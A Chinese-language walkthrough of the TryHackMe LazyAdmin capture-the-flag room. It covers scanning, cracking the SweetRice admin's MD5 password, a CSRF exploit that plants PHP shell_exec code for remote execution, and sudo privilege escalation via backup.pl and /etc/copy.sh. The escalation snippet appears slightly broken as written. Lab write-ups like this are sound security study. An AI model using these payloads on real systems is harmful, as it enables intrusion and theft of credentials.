TryHackMe上的LazyAdminCTF(入门级CTF教程)

649 阅读4分钟

最近,我重新激发了对信息安全的兴趣,开始涉足一些黑客平台和战争游戏,并偶然发现了TryhackMe,到目前为止,它绝对是一个很棒的信息安全学习资源。

这篇文章标志着我第一次写CTF,所以如果你无意中看到这篇文章,请记住这一点,如果你有关于改进文章的流程或一般内容的建议,请随时给我发邮件询问。

说了这么多,让我们进入TryHackMe上的LazyAdminCTF。

懒人管理

首先,我们将使用nmap ,找出正在运行的端口。

nmap  -vv -sV -sC <IP> -A -T4

我们得到端口22和80。接下来,让我们试着导航到80端口的网站。在那里我们看到基本的Apache欢迎页面。

为了看看这个网络服务器上还有什么在运行,让我们使用gobuster ,以找到其他文件和目录

gobuster -u http://<IP>/ -w /opt/SecLists/Discovery/Web-Content/big.txt -x "php,txt,html"

这使用了SecListsrepo的Web-Content/big.txt wordlist,我们首先会尝试查找.php、.txt和.html文件。

第一次运行给了我们/content 文件夹,如果我们在浏览器中导航到那里,我们会看到一个正在进行的SweetRice CMS页面。

在这一点上,去Exploit DB和搜索SweetRice是有意义的。有几个有趣的CVE,但我们还不知道其版本。

让我们再次运行gobuster ,以找到content 内的资源。

gobuster -u http://<IP>/content/ -w /opt/SecLists/Discovery/Web-Content/big.txt -x "php,txt,html"

这给了我们几个东西,如/as 文件夹和/inc 文件夹。在/as 下,我们发现一个管理员登录,这正是我们要找的。在/inc 文件夹内,有趣的是,我们发现了MySQL备份,我们立即下载了它。

此外,还有license.txt和changelog文件和文件夹,它们为我们提供了一些关于版本的信息--我们处理的是1.5.0,所以我们可以使用Exploit-DB上的最新漏洞!

打开下载的MySQL备份,我们偶然发现了密码和用户名。

我们可以使用john the ripper 来破解密码,它看起来像MD5。

john pw.txt --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --format=RAW-MD5

我们使用rockyou 密码列表,并立即得到结果的密码。

有了这个,我们就可以登录到管理员页面了不错。

接下来,让我们看看Exploit DB上的漏洞。在那里,我们发现了这个漏洞,它使我们能够通过CSRF错误执行PHP代码。

这听起来很有希望,因为有了远程代码执行,我们应该能够从服务器上读出用户和root标志,或者简单地打开一个反向shell,让我们基本上通过ssh连接到服务器。

如果我们看一下Exploit-DB上的漏洞,它看起来像下面这样。

<html>
    <body onload="document.exploit.submit();">
        <form action="http://<IP>/content/as/?type=ad&mode=save" method="POST" name="exploit">
            <input type="hidden" name="adk" value="hacked"/>
            <textarea type="hidden" name="adv">
                ... add php code here ...
            </textarea>;
        </form>
    </body>
</html>

我们创建一个新的.html文件,然后把这个代码粘贴进去。然而,我们可以使用shell_exec 方法在服务器上执行shell命令,而不是Hacked 信息,所以我们用以下内容代替。

$output = shell_exec('ls /home');
echo "<pre>$output</pre>";

这将引导我们到SweetRice后台的广告页面,其中有一个新的广告正在运行。在这种情况下,如果我们现在使用http://<IP>/content/inc/ads/hacked.php ,那么我们看到执行的PHP代码,它向我们展示了/home 的内容。

这样,我们可以看到用户名是itguy 。接下来我们可以通过ls /home/itguy 来查看用户文件夹内的文件。在那里,我们已经可以用cat /home/itguy/user.txt 得到用户的标志。

利用这个漏洞,我们还可以执行一个反向的shell,再加上本地打开的netcat会话(nc -lvnp 4444),我们就可以获得对服务器的访问。

在这种情况下,虽然我们只是继续使用该漏洞执行命令。我们需要做的下一件事是提升权限。我们执行sudo -l ,看到www-data 用户,也就是运行网络应用的用户,可以执行backup.pl 文件。

接下来,我们可以使用cat /home/itguy/backup.pl 来查看该文件,我们看到它只是调用了/etc/copy.sh ,这是一个我们可以访问的文件。现在我们有一个方法来获得根标志--我们用一个读出/root/root.txt 文件的脚本来覆盖/etc/copy.sh 文件,我们可以在我们的CSRF漏洞中完成所有这些。

echo "<pre>$output</pre>";
$output1 = shell_exec('echo "cat /root/root.txt > /etc/copy.sh"');
echo "<pre>$output1</pre>";
$output2 = shell_exec('sudo /usr/bin/perl /home/itguy/backup.pl');
echo "<pre>$output2</pre>";

当我们再次执行该漏洞时,我们就能得到根标志。

全部完成!

总结

这是一个很好的入门级CTF,也是我经历了之前提到的几乎所有的入门级THM房间之后,能够在不看任何写法或任何外部帮助的情况下完成的第一批无指导的CTF之一

资源